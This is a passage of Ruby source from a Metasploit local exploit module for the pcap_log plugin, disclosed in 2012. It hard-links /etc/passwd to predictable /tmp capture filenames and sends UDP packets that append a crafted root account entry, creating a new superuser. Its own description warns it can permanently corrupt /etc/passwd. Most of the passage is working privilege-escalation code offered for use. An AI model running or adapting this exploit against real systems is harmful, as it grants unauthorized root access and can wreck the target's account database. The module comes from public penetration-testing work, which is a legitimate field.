This exploits this by hard-linking these filenames to /etc/passwd, then sending a packet with a priviliged user entry contained within. This, and all the other packets, are appended to /etc/passwd. Successful exploitation results in the creation of a new superuser account. This module requires manual clean-up. Upon success, you should remove /tmp/msf3-session*pcap files and truncate /etc/passwd. Note that if this module fails, you can potentially induce a permanent DoS on the target by corrupting the /etc/passwd file. }, 'License' => MSF_LICENSE, 'Author' => [ '0a29406d9794e4f9b30b3c5d6702c708'], 'Platform' => %w{ bsd linux unix }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'References' => [ [ 'BID', '54472' ], [ 'URL', 'http://0a29.blogspot.com/2012/07/0a29-12-2-metasploit-pcaplog-plugin.html'], [ 'URL', 'https://community.rapid7.com/docs/DOC-1946' ], ], 'DisclosureDate' => "Jul 16 2012", 'Targets' => [ [ 'Linux/Unix Universal', {} ], ], 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultTarget' => 0, } )) register_options( [ Opt::RPORT(2940), OptString.new("USERNAME", [ true, "Username for the new superuser", "metasploit" ]), OptString.new("PASSWORD", [ true, "Password for the new superuser", "metasploit" ]), OptInt.new("MINUTES", [true, "Number of minutes to try to inject", 5]) ], self) end def normalize_minutes datastore["MINUTES"].abs rescue 0 end def run print_status "Setting up the victim's /tmp dir" initial_size = cmd_exec("cat /etc/passwd | wc -l") print_status "/etc/passwd is currently #{initial_size} lines long" i = 0 j = 0 loop do if (i == 0) j += 1 break if j >= datastore['MINUTES'] + 1 # Give up after X minutes # 0a2940: cmd_exec is slow, so send 1 command to do all the links print_status "Linking /etc/passwd to predictable tmp files (Attempt #{j})" cmd_exec("for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\"\$i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done") end current_size = cmd_exec("cat /etc/passwd | wc -l") if current_size == initial_size # PCAP is flowing pkt = "\n\n" + datastore['USERNAME'] + ":" + datastore['PASSWORD'].crypt("0a") + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n\n" vprint_status("Sending /etc/passwd file contents payload to #{session.session_host}") udpsock = Rex::Socket::Udp.create( { 'Context' => {'Msf' => framework, 'MsfExploit'=>self} }) res = udpsock.sendto(pkt, session.session_host, datastore['RPORT']) else break end sleep(1) # wait a second i = (i+1) % 60 # increment second counter end if cmd_exec("(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false").include?("true") print_good("Success.
